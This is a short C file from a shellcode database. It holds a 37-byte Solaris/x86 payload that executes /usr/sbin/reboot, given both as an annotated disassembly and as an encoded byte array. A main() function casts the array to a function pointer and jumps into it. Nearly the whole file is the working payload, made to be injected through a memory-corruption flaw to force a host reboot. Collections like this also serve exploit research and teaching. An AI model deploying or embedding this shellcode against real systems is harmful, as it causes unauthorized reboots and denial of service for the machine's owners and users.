/*
Title:   Solaris/x86 - Reboot() - 37 bytes
Author:  Jonathan Salwan <submit!shell-storm.org>
Web:     http://www.shell-storm.org
Twitter: http://twitter.com/jonathansalwan

Date:	 2010-05-21
Tested:  SunOS opensolaris 5.11 snv_111b i86pc i386 i86pc Solaris

!Database of Shellcodes http://www.shell-storm.org/shellcode/


Description:
------------

 The reboot utility restarts the kernel. The kernel is loaded
 into  memory by the PROM monitor, which transfers control to
 the loaded kernel.



Disassembly informations:
-------------------------

section .text
    0x8048074:              31 c0              xorl   %eax,%eax
    0x8048076:              50                 pushl  %eax
    0x8048077:              68 62 6f 6f 74     pushl  $0x746f6f62
    0x804807c:              68 6e 2f 72 65     pushl  $0x65722f6e
    0x8048081:              68 2f 73 62 69     pushl  $0x6962732f
    0x8048086:              68 2f 75 73 72     pushl  $0x7273752f
    0x804808b:              89 e3              movl   %esp,%ebx
    0x804808d:              50                 pushl  %eax
    0x804808e:              53                 pushl  %ebx
    0x804808f:              89 e1              movl   %esp,%ecx
    0x8048091:              50                 pushl  %eax
    0x8048092:              51                 pushl  %ecx
    0x8048093:              53                 pushl  %ebx
    0x8048094:              b0 0b              movb   $0xb,%al
    0x8048096:              50                 pushl  %eax
    0x8048097:              cd 91              int    $0x91

*/

#include <stdio.h>

char sc[] = "\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e"
            "\x2f\x72\x65\x68\x2f\x73\x62\x69\x68\x2f"
            "\x75\x73\x72\x89\xe3\x50\x53\x89\xe1\x50"
            "\x51\x53\xb0\x0b\x50\xcd\x91";


int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(sc));
        (*(void(*)()) sc)();

return 0;
}
